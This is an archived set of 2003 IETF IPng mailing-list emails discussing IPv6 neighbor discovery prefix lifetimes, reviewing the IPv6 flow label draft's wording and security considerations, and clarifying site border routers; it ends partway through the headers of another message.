Message-ID: <y7v8yxuctwb.wl@ocean.jinmei.org>
From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?=
 <jinmei@isl.rdc.toshiba.co.jp>
To: narten@us.ibm.com
Cc: ipng@sunroof.eng.sun.com
Subject: Re: preferred lifetime > valid lifetime 
In-Reply-To: <200301031754.h03HsJO08210@cichlid.adsl.duke.edu>
References: <jinmei@isl.rdc.toshiba.co.jp>
	 <y7v1y4qujzx.wl@ocean.jinmei.org>
	 <200301031754.h03HsJO08210@cichlid.adsl.duke.edu>
User-Agent: Wanderlust/2.6.1 (Upside Down) Emacs/21.2 Mule/5.0 (SAKAKI)
Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan.
MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya")
Content-Type: text/plain; charset=US-ASCII
X-Dispatcher: imput version 20000228(IM140)
Lines: 62
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Thanks for the response, and sorry for my delayed reaction.

>>>>> On Fri, 03 Jan 2003 12:54:19 -0500, 
>>>>> Thomas Narten <narten@us.ibm.com> said:

>> However, there seems to be no description about the case in RFC 2461.
>> This is perhaps intentional, because the preferred lifetime does not
>> affect on-link prefix configuration.  So my question is:

>> - is RFC 2461 intentionally silent about the case of preferred
>> lifetime > valid lifetime?
>> - if so, what should a host do when, for example, it receives a prefix
>> with the L bit being set, the A bit being set, and preferred LT >
>> valid LT?  Should it just regard the prefix as on-link and not
>> configure a corresponding address?
>> - or, do I miss something in RFC 2461?

> I don't know that it really  matters that much whether one ignores the
> on-link determiniation or not in this case. Neither seems particularly
> catastrophic. 

> Note the follow words in 2461:

>    Stateless address autoconfiguration [ADDRCONF] may in some
>    circumstances increase the Valid Lifetime of a prefix or ignore it
>    completely in order to prevent a particular denial of service attack.
>    However, since the effect of the same denial of service targeted at
>    the on-link prefix list is not catastrophic (hosts would send packets
>    to a default router and receive a redirect rather than sending
>    packets directly to a neighbor) the Neighbor Discovery protocol does
>    not impose such a check on the prefix lifetime values.

> I think similar logic applies to the case you describe.

Hmm, so your point is that even if the receiving host ignores the
prefix, it can still send a packet (whose destination address is
covered by the prefix) to the router, which will then forward the
packet back to the link.

There's still an interoperability issue if a non forwarding node sends
router advertisements with:
  + the router lifetime being 0
  + a prefix where valid lifetime < preferred lifetime.

though such a case may be too pathological to be covered in the spec.

As a result, I tend to agree that it doesn't matter whether the
receiving host ignores the prefix or not.  However, it would be good
for routers to have an additional clarification like

  for each advertised prefix, a router SHOULD ensure that the valid
  lifetime is not smaller than the valid lifetime.

to reduce the possibility of interoperability issue when the spec is
ever revised.

Thanks,

					JINMEI, Tatuya
					Communication Platform Lab.
					Corporate R&D Center, Toshiba Corp.
					jinmei@isl.rdc.toshiba.co.jp
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  9 07:41:14 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09FfD16006152;
	Thu, 9 Jan 2003 07:41:14 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h09FfDmJ006151;
	Thu, 9 Jan 2003 07:41:13 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09FfA16006144
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 07:41:10 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h09FfIuk022358
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 07:41:19 -0800 (PST)
Received: from d12lmsgate-5.de.ibm.com (d12lmsgate-5.de.ibm.com [194.196.100.238])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA28917
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 07:41:12 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-5.de.ibm.com (8.12.3/8.12.3) with ESMTP id h09Ff8qf016114;
	Thu, 9 Jan 2003 16:41:08 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h09Ff6TL281718;
	Thu, 9 Jan 2003 16:41:07 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA24682 from <brian@hursley.ibm.com>; Thu, 9 Jan 2003 16:40:59 +0100
Message-Id: <3E1D97E5.AC439497@hursley.ibm.com>
Date: Thu, 09 Jan 2003 16:40:21 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Thomas Narten <narten@us.ibm.com>
Cc: jarno.rajahalme@nokia.com, ipng@sunroof.eng.sun.com
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
References: <200301031728.h03HS1G07945@cichlid.adsl.duke.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Thomas,

Thanks for the careful review. Comments inserted...

Thomas Narten wrote:
> 
> I reviewed the revised document today. Speaking as an individual, here
> is my reaction:
> 
> > Abstract
> >
> >    This document specifies the IPv6 Flow Label field, the requirements
> >    for IPv6 source nodes labeling flows, and the requirements for flow
> >    state establishment methods.
> 
> Note: what I would expect this draft to describe is:
> 
> 1) what arbitrary source nodes should do with the flow label.
> 2) what routers should do with the flow label.
> 
> The document appears to do 1), but 2) is omitted from the document. Is
> this OK?  

IMHO, it's not only OK, it is essential at this stage. There are a number
of use cases for the flow label - if I even enumerated them here, they
are controversial enough to start a flame war. The draft has been very
carefully limited to *avoid* assuming any particular use case. It serves
two purposes, in my view:
-- setting globally applicable boundary conditions on what a sending
   host may and may not do;
-- making it clear that intermediate systems may use the flow label
   for packet classification purposes (which means, in particular,
   that ASIC and network processor designers know that they should
   include the flow label in the fields potentially used by
   classifiers).
Going beyond this point would take us back into the controversy we
had on this list a year or so ago. So, to repeat, it would *not*
be OK to attempt to specify what routers should do with the flow
label.

> I.e., I thought the main reason to specify the flow label is
> so that current implementations can do something sensible with the
> flow label.  Is there enough guidance for router implementors (e.g.,
> those doing hardware) to add useful support for the flow label? I'm
> not sure, but would like to hear from such implementors.

As I said, there are multiple use cases and IMHO we should get this
document out and then let the QOS community (not the IPv6 community)
work on those use cases. Time will tell which ones succeed.

> 
> > 2.  IPv6 Flow Label Specification
> >
> >    The 20-bit Flow Label field in the IPv6 header [IPv6] SHOULD be used
> >    by a source to label packets of a flow. A non-zero Flow Label
> 
> Note: I don't think the SHOULD/MUST usage in this document is always
> helpful or even correct. It would make sense to go read the defintions
> in RFC 2119 as cited.

This does mean SHOULD in the 2119 sense - hosts need a valid reason for not
doing it.
> 
> This document defines a flow as the three tuple. No "SHOULD" about
> it. If a source wants to label a flow, it does so by setting the flow
> label. A better wording would be something like:
> 
>     Flows in IPv6 identified by the tuple of the 20-bit Flow Label,
>     the IP source address, and the IP destination address in the IPv6
>     header.

No. We want to say that hosts SHOULD label flows. (Rationale: it's
only by this becoming the norm that the flow label can become an effective
tool. If only 1% of traffic is labelled, there is no benefit.)
> 
> >    The packet MAY be given some flow-specific treatment based on the
> >    flow state established on a set of IPv6 nodes. The nature of the
> 
> MAY here seems odd too. Again, read the definition of MAY. It suggests
> that an implementation may decide it makes sense to do something in
> certain circumstances. But what I think the document is trying to say
> here is that flow-specific processing is done by entities that have
> been directed to do so. This is not an implementation choice in the
> "MAY" sense. It has more to do whether a device implements flows and
> then whether there is appropriate flow-state. Suggested reword:
> 
>     The packet will be processed in a flow-specific manner by those
>     nodes that have special processing enabled for packets belonging
>     to a particular flow.

Agreed, or simply use lower case "may".

> 
> Actually, the entire paragraph might be better as:
> 
>     IPv6 flows are defined by the tuple of the 20-bit Flow Label, the
>     IP source address, and the IP destination address in the IPv6
>     header. Packet classifiers use the tuple to identify which flow a
>     particular packet belongs to.  Packets will be processed in a
>     flow-specific manner by those nodes that have special processing
>     enabled for packets belonging to a particular flow.  A Flow Label
>     of zero indicates an unlabelled packet that is given no special
>     treatment.  The nature of the specific treatment and the methods
>     for the flow state establishment are beyond the scope of this
>     specification.

Well, I think we want the SHOULD in there. We mean it.

> 
> >    The Flow Label value set by the source MUST be delivered unchanged to
> >    the destination node(s).
> 
> Question: What is the above intended to mean? That the flow label must
> be delivered to the destination unchanged from what it was set to by
> the originator? Or that the flow label MUST NOT be modified by any
> node along the path? (the two are different, and the words seem to say
> the former.) It would be good to be clear.

I prefer the "MUST NOT be modified" formulation if my co-authors agree.

> 
> >    IPv6 nodes MUST NOT assume any mathematical or other properties of
> >    the Flow Label values assigned by source nodes. Router performance
> >    SHOULD NOT be dependent on the distribution of the Flow Label values.
> >    Especially, the Flow Label bits alone make poor material for a hash
> >    key.
> 
> I wonder if the above wording is even needed. Can this section just be
> dropped? If not, suggested reword:
> 
>    Some early proposals for use of the IPv6 Flow Label suggested that
>    routers might use the Flow Label as a hash key for doing lookups as
>    an optimization. However, this technique assumed that Flow Label
>    values would make good material for a hash key in order that the
>    resultant hashes would be sufficiently distributed. In practice,
>    this cannot be relied upon, and would open up implementations to
>    potential denial-of-service attacks from attackers that
>    intentionally violate such an assumption. Consequently, IPv6 nodes
>    MUST NOT assume any mathematical or other properties of the Flow
>    Label values assigned by source nodes.

Good
> 
> >    Nodes keeping dynamic flow state MUST NOT assume packets arriving 60
> >    seconds or more after the previous packet of a flow still belong to
> >    the same flow, unless a flow state establishment method in use
> >    defines a longer flow state lifetime or the flow state has been
> >    explicitly refreshed within the lifetime duration.
> 
> I'm not entirely comfortable with the above wording. It seems to me,
> that any node making assumptions about flow values *needs* a flow
> setup mechanism to go along with it. But if there is such a mechanism,
> that mechanism can communicate appropriate timer values for timing out
> state (and the above words are not needed). If there is no such
> mechanism, what sort of flow-specific processing should assume that a
> gap of 60 seconds implies a reset in the flow?

We don't know, and 60 seconds is a compromise value anyway. But there
seemed to be WG consensus that a default timeout is needed, since
otherwise we are licensing implementors to create hard state. The authors
have been round and round this many times, and this was the best we
could come up with. (more comment on this below)

> 
> What problem is the above wording intended to address?

Use cases that nobody has thought of yet.

> 
> >    If an IPv6 node is not providing flow-specific treatment, it MUST
> >    ignore the field when receiving or forwarding a packet.
> 
> Such a node is presumably not implementing this spec, in which case
> the words seem superfluous... Delete?

You're too logical :-) But I think this forbids attempts to abuse
the label as a covert signalling channel, or otherwise use it for
an unintended purpose. So I'd vote for keeping the sentence, but
I don't feel strongly.

> 
> > 3.  Flow Labeling Requirements
> >
> >    To enable Flow Label based classification, sources SHOULD assign each
> >    unrelated transport connection and application data stream to a new
> >    flow. The source MAY also take part in flow state establishment
> >    methods that result in assigning certain packets to specific flows. A
> >    source which does not assign traffic to flows MUST set the Flow Label
> >    to zero.
> 
> I find the above a bit muddled and incomplete. Here is an attempt at
> clarifying:

I object. Your text starts to hint at use cases. I think we should
absolutely avoid that, and restrict ourselves strictly to setting
boundary conditions on senders. Also, we agreed earlier to take out
all the stuff on APIs and picking flow label values. That was part
of the Grand Simplification of the draft. So I don't agree that the
paragraph is incomplete with respect to the goals of this document.

Let me try a slight rewrite.
   To enable Flow Label based classification, sources SHOULD assign each
   unrelated transport connection and application data stream to a new
   flow and assign a new label value to that flow. The source may also 
   take part in flow state establishment methods that result in assigning 
   certain packets to specific flows to which label values have been
   assigned. A source which does not assign certain packets to flows 
   MUST set the Flow Label to zero in those packets.
> 
>     A source enables flow-specific processing by assigning a non-zero
>     value to the Flow Label on outgoing packets. Because identifying
>     individual flows may only be possible with the direct help of
>     individual applications, there is no one rule for how and when to
>     label outgoing packets.  In the absence of more-explicit
>     information (e.g, from an application), sources SHOULD assign each
>     new transport connection to a new flow.
> 
>     Applications should also be provided sufficient control over how
>     to set the Flow Label. Such indications should support:
> 
>         - use a specific value for the flow label (e.g., if the
>           application is participating in a flow setup protocol)
> 
>         - Let the system pick a value, but provide a way for the
>           application to specify that a previously-assigned value be
>           used when sending packets. This is to support applications
>           that have multiple flows, transported over what the system
>           might view as a single "connection" or "socket".
> 
>         ... [there are a bunch of things here that it probably makes
>           sense to at least indicate may be necessary. I don't think
>           this document should include the API, but it would be good
>           to itemize the types of operations that will need to be
>           supported.]
> 
>     A source that does not desire flow-specific processing sets the
>     Flow Label value to 0. However, this document requires that
>     implementations not set the value to 0 by default, in order to
>     enable the support load spreading.
> 
> >    A source node MUST keep track of the Flow Label values it is
> >    currently using or has recently used.
> 
> Mumble. the above comes across as a restrictive requirement rather
> than focusing on the key requirement to fulfill.

Yes, we can replace MUST by "needs to".

> 
> > Flow Label values previously
> >    used with a specific pair of source and destination addresses MUST
> >    NOT be assigned to new flows with the same address pair within 60
> >    seconds of the termination of the previous flow. If the previous flow
> >    had a lifetime longer than the default 60 seconds, a quarantine
> >    period of at least the length of the lifetime MUST be observed.
> 
> As mentioned above, I'm not sure about the 60 second value. Also, the
> wording could be better.

As noted, 60 seconds is a compromise. We looked at values anywhere between
10 and 600 seconds. There is no right answer, but 60 seems as good as
we could get. (10 seemed too short for a slow TCP stream, and 600 seemed
far too long, despite being the TCP timeout.)

Wording suggestions?

> 
> >    The requirement of not reusing a Flow Label value for a new flow with
> >    the same pair of source and destination addresses extends across
> >    source node crashes and reboots. To avoid accidental Flow Label value
> >    reuse, the source node SHOULD use a different initial value for Flow
> >    Label assignments after a reboot. The initial value could be randomly
> >    generated, or computed from a previous value stored in non-volatile
> >    memory.
> 
> Suggested rewording:
> 
>    A source node should not reuse a particular Flow Label for a
>    different flow until it is sure that any flow-specific state on
>    other nodes has timed out or been appropriately updated.  In
>    particular, if a node reboots, it may lose track of which Flow
>    Label values it has used recently, and pick the same
>    ones. Implementations MUST ensure that they don't reuse Flow Labels
>    too quickly. The problem here is analagous to picking initial
>    sequence numbers when opening TCP connections after a
>    restart. There are number of ways to avoid reuse. One approach is
>    to have new Flow Label values be chosen in some well-defined order
>    (e.g., sequentially, a pseudo-random sequence, etc.). Upon a system
>    restart, the initial value could be randomly generated, or computed
>    from a previous value stored in non-volatile memory.


Again, we removed some such text in the recent simplification of
the document. Do you really think we should start re-complicating?

> 
> > 4.  Flow State Establishment Requirements
> >
> >    To enable flow-specific treatment, flow state needs to be established
> >    on all or a subset of the IPv6 nodes on the path from the source to
> >    the destination(s). The methods for the state establishment, as well
> >    as the models for flow-specific treatment will be defined in separate
> >    specifications.
> >
> >    To enable co-existence of different methods in IPv6 nodes, the
> >    methods MUST meet the following basic requirements:
> >
> >    (1)  The method MUST provide the means for flow state clean-up from
> >         the IPv6 nodes providing the flow-specific treatment. Signaling
> >         based methods where the source node is involved are free to
> >         specify flow state lifetimes longer than the default 60 seconds.
> >
> >    (2)  Flow state establishment methods MUST be able to recover from
> >         the case where the requested flow state cannot be supported.
> 
> I'm not sure what purpose the above provides.  I guess its mostly
> harmless, but it strikes me as being pretty obvious, and I wonder if
> these are the only real issues to think about. I.e., is this section
> complete?  If not, do we need it?

It stops here, once again, to avoid getting into specific use cases. But
we did feel these were necessary to avoid future flow-state mechanisms
interfering with each other. Does that make sense?

> 
> > Security Considerations
> >
> >    The use of the Flow Label field enables flow classification also in
> >    the presence of encryption of IPv6 payloads. This allows the
> >    transport header values to remain confidential, which may lessen the
> >    possibilities for some forms of traffic analysis. However, the
> >    labeling of flows defined in this specification may reveal some
> >    structure of communications otherwise concealed by transport mode
> 
> Seems like more could be said here. If use of the flow label allows
> special treatment of traffic, aren't there possible theft of service
> issues? Or DOS issues, if someone generates traffic trying to
> overwhelm a particular flow? What about authorization? Can anyone set
> up flows? Are there requirements or issues here that should be
> mentioned in Section 4?  This section seems a bit incomplete.

Since flow labels are not protected by IPSEC-AH, they can be forged.
We should probably state this. However, since the flow is actually
identified by the {srce, dest, label} triplet, the theft of service
or DOS problem actually requires address spoofing as well as label
spoofing (and is prevented by ingress filtering). We should probably say
this. 

Authorization is a local issue in the sending host. I could argue that
since it is not a wire-protocol issue, we don't need to mention it.
However, I think it is worth stating that multi-user hosts may require
an authorization mechanism for individual applications to use QOS services
including the flow label. 

    Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  9 08:10:43 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09GAh16006705;
	Thu, 9 Jan 2003 08:10:43 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h09GAhe7006704;
	Thu, 9 Jan 2003 08:10:43 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09GAd16006697
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 08:10:39 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h09GAmuk029364
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 08:10:48 -0800 (PST)
Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [194.196.100.235])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA20208
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 08:10:42 -0800 (PST)
Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23])
	by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id h09GAev4059306;
	Thu, 9 Jan 2003 17:10:40 +0100
Received: from etzel.zurich.ibm.com (etzel.zurich.ibm.com [9.4.64.140])
	by d12relay02.de.ibm.com (8.12.3/NCO/VER6.4) with SMTP id h09GAdTL099548;
	Thu, 9 Jan 2003 17:10:39 +0100
Received: from dhcp23-27.zurich.ibm.com by etzel.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03)
          id AA40172 from <brian@hursley.ibm.com>; Thu, 9 Jan 2003 17:10:38 +0100
Message-Id: <3E1D9ED8.65647304@hursley.ibm.com>
Date: Thu, 09 Jan 2003 17:10:00 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en,fr,de
Mime-Version: 1.0
To: Margaret Wasserman <mrw@windriver.com>
Cc: ipng@sunroof.eng.sun.com
Subject: Re: draft-wasserman-ipv6-sl-impact-00.txt
References: <5.1.0.14.2.20021220080948.02c9c708@mail.windriver.com>
	 <5.1.0.14.2.20021220080948.02c9c708@mail.windriver.com> <5.1.0.14.2.20021221163732.04619cd0@mail.windriver.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

Margaret Wasserman wrote:
...
> If the WG chooses to follow the recommendations in this document,
> then SBRs will not longer be necessary.

I don't think you can mean that literally. There are lots of
reasons why enterprise networks have border routers today
(not to mention DMZs) and I don't see that the non-existence
of SL addresses would remove those reasons.

   Brian
--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  9 09:31:50 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09HVo16007754;
	Thu, 9 Jan 2003 09:31:50 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h09HVoWI007753;
	Thu, 9 Jan 2003 09:31:50 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09HVk16007746
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 09:31:47 -0800 (PST)
Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h09HVtuk021691
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 09:31:55 -0800 (PST)
Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11])
	by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA08045
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 10:31:49 -0700 (MST)
Received: from IDLEWYLDE.windriver.com ([147.11.46.226])
	by mail.wrs.com (8.9.3/8.9.1) with ESMTP id JAA20677;
	Thu, 9 Jan 2003 09:30:58 -0800 (PST)
Message-Id: <5.1.0.14.2.20030109122643.0376b5a8@mail.windriver.com>
X-Sender: mrw@mail.windriver.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Thu, 09 Jan 2003 12:28:06 -0500
To: Brian E Carpenter <brian@hursley.ibm.com>
From: Margaret Wasserman <mrw@windriver.com>
Subject: Re: draft-wasserman-ipv6-sl-impact-00.txt
Cc: ipng@sunroof.eng.sun.com
In-Reply-To: <3E1D9ED8.65647304@hursley.ibm.com>
References: <5.1.0.14.2.20021220080948.02c9c708@mail.windriver.com>
 <5.1.0.14.2.20021220080948.02c9c708@mail.windriver.com>
 <5.1.0.14.2.20021221163732.04619cd0@mail.windriver.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk


Hi Brian,

> > If the WG chooses to follow the recommendations in this document,
> > then SBRs will not longer be necessary.
>
>I don't think you can mean that literally. There are lots of
>reasons why enterprise networks have border routers today
>(not to mention DMZs) and I don't see that the non-existence
>of SL addresses would remove those reasons.

Of course.  Enterprises will continue to have border routers.

I was using the term "SBR" as it is used in the scoped addressing
architecture -- referring to a router that creates a border between
two different site-local scopes.

Margaret



--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  9 09:46:36 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09Hka16007915;
	Thu, 9 Jan 2003 09:46:36 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h09HkamT007914;
	Thu, 9 Jan 2003 09:46:36 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail1mpk.Eng.Sun.COM (engmail1mpk [129.146.1.45])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h09HkX16007907
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 09:46:33 -0800 (PST)
Received: from nwkea-mail-2.sun.com ([192.18.42.14])
	by engmail1mpk.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h09HkfXq012829
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 09:46:41 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA25020
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 09:46:35 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id h09HkTe11908;
	Thu, 9 Jan 2003 19:46:29 +0200
Date: Thu, 9 Jan 2003 19:46:28 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Brian E Carpenter <brian@hursley.ibm.com>
cc: Thomas Narten <narten@us.ibm.com>, <jarno.rajahalme@nokia.com>,
   <ipng@sunroof.eng.sun.com>
Subject: Re: I-D ACTION:draft-ietf-ipv6-flow-label-04.txt
In-Reply-To: <3E1D97E5.AC439497@hursley.ibm.com>
Message-ID: <Pine.LNX.4.44.0301091938370.11798-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-ipng@sunroof.eng.sun.com
Precedence: bulk

I've decidedly tried getting into the flow label debate, but will do so 
for a few parts.  

In general, I liked many of the Thomas's improvements; IMO, specification 
of flow label itself (with or without RFC2119 keywords), and treatment 
(like that nodes SHOULD label flows) should be more clearly separated.

Two comments..:

> > > 2.  IPv6 Flow Label Specification
> > >
> > >    The 20-bit Flow Label field in the IPv6 header [IPv6] SHOULD be used
> > >    by a source to label packets of a flow. A non-zero Flow Label
> > 
> > Note: I don't think the SHOULD/MUST usage in this document is always
> > helpful or even correct. It would make sense to go read the defintions
> > in RFC 2119 as cited.
> 
> This does mean SHOULD in the 2119 sense - hosts need a valid reason for not
> doing it.
> > 
> > This document defines a flow as the three tuple. No "SHOULD" about
> > it. If a source wants to label a flow, it does so by setting the flow
> > label. A better wording would be something like:
> > 
> >     Flows in IPv6 identified by the tuple of the 20-bit Flow Label,
> >     the IP source address, and the IP destination address in the IPv6
> >     header.
> 
> No. We want to say that hosts SHOULD label flows. (Rationale: it's
> only by this becoming the norm that the flow label can become an effective
> tool. If only 1% of traffic is labelled, there is no benefit.)

I think Thomas's text is a very good introduction: if we want to say
"hosts SHOULD label flows", just add it in a new paragraph after that.

.. similar in some other cases ..

> > > Security Considerations
> > >
> > >    The use of the Flow Label field enables flow classification also in
> > >    the presence of encryption of IPv6 payloads. This allows the
> > >    transport header values to remain confidential, which may lessen the
> > >    possibilities for some forms of traffic analysis. However, the
> > >    labeling of flows defined in this specification may reveal some
> > >    structure of communications otherwise concealed by transport mode
> > 
> > Seems like more could be said here. If use of the flow label allows
> > special treatment of traffic, aren't there possible theft of service
> > issues? Or DOS issues, if someone generates traffic trying to
> > overwhelm a particular flow? What about authorization? Can anyone set
> > up flows? Are there requirements or issues here that should be
> > mentioned in Section 4?  This section seems a bit incomplete.
> 
> Since flow labels are not protected by IPSEC-AH, they can be forged.
> We should probably state this. However, since the flow is actually
> identified by the {srce, dest, label} triplet, the theft of service
> or DOS problem actually requires address spoofing as well as label
> spoofing (and is prevented by ingress filtering). We should probably say
> this. 

There are many ways to do theft of service, I guess.

Assume that node establishes (using some mechanism) a preferred treatment 
for a flow with <src, dest, label> -- particularly meant for e.g. single 
TCP connection.  It can re-use this as much as it wants, getting better 
service.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings

--------------------------------------------------------------------
IETF IPng Working Group Mailing List
IPng Home Page:                      http://playground.sun.com/ipng
FTP archive:                      ftp://playground.sun.com/pub/ipng
Direct all administrative requests to majordomo@sunroof.eng.sun.com
--------------------------------------------------------------------

From owner-ipng@sunroof.eng.sun.com Thu Jan  9 16:13:24 2003
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0A0DN16010731;
	Thu, 9 Jan 2003 16:13:23 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7/Submit) id h0A0DNj7010730;
	Thu, 9 Jan 2003 16:13:23 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f
Received: from engmail2sun.Eng.Sun.COM (engmail2sun [129.144.134.19])
	by sunroof.eng.sun.com (8.12.7+Sun/8.12.7) with ESMTP id h0A0DK16010723
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 16:13:20 -0800 (PST)
Received: from nwkea-mail-1.sun.com ([192.18.42.13])
	by engmail2sun.Eng.Sun.COM (8.12.2+Sun/8.12.2/ENSMAIL,v2.2) with ESMTP id h0A0DSuk023850
	for <ipng@sunroof.eng.sun.com>; Thu, 9 Jan 2003 16:13:29 -0800 (PST)
Received: from rsys002a.roke.co.uk (rsys002a.roke.co.uk [193.118.192.251])
	by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA04037
